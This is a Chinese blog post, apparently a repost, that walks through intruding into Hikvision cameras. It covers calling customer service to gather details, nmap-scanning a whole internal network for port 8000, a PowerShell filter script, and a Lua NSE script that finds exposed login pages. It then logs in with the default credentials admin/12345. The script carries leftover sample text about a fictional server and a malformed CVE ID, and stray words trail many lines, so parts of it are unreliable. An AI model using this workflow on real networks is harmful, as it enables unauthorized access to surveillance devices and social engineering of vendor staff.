若是想要入侵每一臺互聯網設備,知道IP是很是必要的。我經過和客服打電話和本身在網上搜索,有3種方法可取。html
1.用專業的海康威視設備搜索工具。好比:iVMS-4200 客戶端。web
2.也是經過安裝海康威視設備搜索工具如:iVMS-4200 客戶端。而後設備和安裝搜索工具的電腦鏈接。shell
3.客服說:全部海康威視的默認鏈接端口都是8000.利用nmap 掃內網。瀏覽器
若是想要入侵任何網絡設備。給客服打電話收集信息是一個很是不錯的選擇。網絡
以上3個方法我一一嘗試:tcp
第一種方法:失敗。(由於我要入侵的設備和我不在一個局域網)工具
第二種方法:須要和設備0距離接觸失敗。ui
第三種方法:成功。spa
接下來就演示我如何自動化入侵海康威視設備的。code
nmap 掃整個內網開8000的機器,而後逐一試探。由於8000端口是每一個海康設備都會開啓的。默認狀況下,開啓了8000端口,80端口也會開。
1.而後我就用nmap掃了整個內網的8000端口.
1
|
nmap -sS -T5 -p8000 -v -open -sV -oN c:\scan.txt 172.16.0.0/16
|
這麼多開8000端口的機器,我一個一個的在網頁上試:
試的我好費勁。
2.powershell 過濾IP.
我就想先把開放8000端口的機器都過濾出來,我就拿powershell 寫了一下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
[cmdletbinding()]
param
(
[parameter(Mandatory = $true)]
[Alias('f', 'file')]
[string]$filename,
[parameter(Mandatory = $true)]
[Alias('o', 'output')]
[string]$outputname
)
switch -regex (Get-Content $filename)
{
"(^Nmap scan report for )\b(.*)" { $matches[2] | Out-File -FilePath $outputname -Append}
}
|
注意:此時過濾出來的數據不能直接-iL 這樣使用.須要把IP從新複製到另外一個txt中,使用-iL參數。
3.寫一個nse腳本,批量檢測以上IP是否存在http://IP/doc/page/login.asp 頁面。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
-- The Head Section --
description = [[Sample script to detect a fictional vulnerability in a fictional ArcticFission 1.0 web server
@usage
nmap --script http-vuln-check <target>
@output
PORT STATE SERVICE
80/tcp open http
|_http-vuln-check_packaging: Vulnerable
| VULNERABLE
| ArcticFission 1.0 Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-XXXX-XX
| References:
|_ http://dmzlab.com
author = "iphelix"
license = "Same as Nmap -- See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"}
]]
-- The Rule Section --
local shortport = require "shortport" local http = require "http"
local vulns = require "vulns"
portrule = shortport.http
-- The Action Section --
action = function(host, port)
-- 漏洞定義部分 --
local vuln = {
title = "<<<<HIKVISION VULNERABLE>>>>",
state = vulns.STATE.NOT_VULN,
IDS = { CVE = 'CVE-2016-521' }
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local uri = "/doc/page/login.asp"
local options = {header={}}
options['header']['User-Agent'] = "Mozilla/5.0 (compatible; ArcticFission)"
local response = http.get(host, port, uri, options)
if(response.status==200 or response.status==500) then
vuln.state=vulns.STATE.VULN
else
vuln.state=vulns.STATE.NOT_VULN
end
return report:make_output(vuln)
end
|
把該腳本保存爲test_jiankong.nse.放到nmap目錄下的scripts目錄下。
採用命令:
1
|
nmap -sS -T4 -script=test_jiankong -p80 -open -iL c:\test\2.txt -oN c:\test\4.txt
|
掃描剛剛過濾出來開8000端口的機器,是否有http://IP/doc/page/login.asp 頁面。若是有提示以下:
4.再次利用上訴powershell腳本。
過濾出有http://IP/doc/page/login.asp 頁面的機器.
而後拿瀏覽器訪問該IP。利用弱口令用戶名:admin 密碼:12345嘗試登錄 。
原文地址: http://www.dmzlab.com/77261.html
轉載時必須以連接形式註明原始出處及本聲明